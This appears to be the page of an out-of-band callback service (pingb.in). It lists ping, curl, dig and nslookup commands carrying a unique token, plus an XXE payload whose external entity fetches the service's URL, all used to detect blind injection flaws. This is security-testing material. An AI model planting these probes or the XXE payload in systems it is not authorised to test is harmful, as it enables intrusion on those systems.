$ ping -c1 -p 00bb7860214e26c25bb3f5fff3397300 pingb.in
 
$ curl pingb.in/p/bb7860214e26c25bb3f5fff33973
 
$ dig bb7860214e26c25bb3f5fff33973 @pingb.in
 
$ dig bb7860214e26c25bb3f5fff33973.ns.pingb.in
 
C:\> nslookup bb7860214e26c25bb3f5fff33973 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/bb7860214e26c25bb3f5fff33973">]>
    <foo>&xxe;</foo>
 
Waiting for ping...